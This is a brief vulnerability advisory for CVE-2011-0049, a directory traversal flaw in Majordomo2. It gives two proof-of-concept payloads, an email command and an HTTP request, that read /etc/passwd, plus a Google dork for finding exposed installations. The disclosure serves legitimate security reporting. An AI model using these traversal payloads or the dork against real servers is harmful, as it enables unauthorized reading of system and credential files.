Original Advisory: https://sitewat.ch/en/Advisory/View/1
Credit: Michael Brooks (https://sitewat.ch)
Vulnerability:  Directory Traversal
Software: Majordomo2
Identifier:CVE-2011-0049
Vendor: http://www.mj2.org/
Affected Build: 20110121 and prior
Google dork:inurl:mj_wwwusr

Special thanks to Dave Miller,  Reed Loden and the rest of the Mozilla
security team for handling the issue.

This vulnerability is exploitable via ALL of Majordomo2's interfaces.
*Including
e-mail*.  Send an email to majordomo's mail interface (for example:
majordomo@bugzilla.org) with the body of the message as follows:
help ../../../../../../../../../../../../../etc/passwd

I'll give you one guess as to the contents of the response email ;).

PoC for HTTP:
http://localhost/cgi-bin/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../../etc/passwd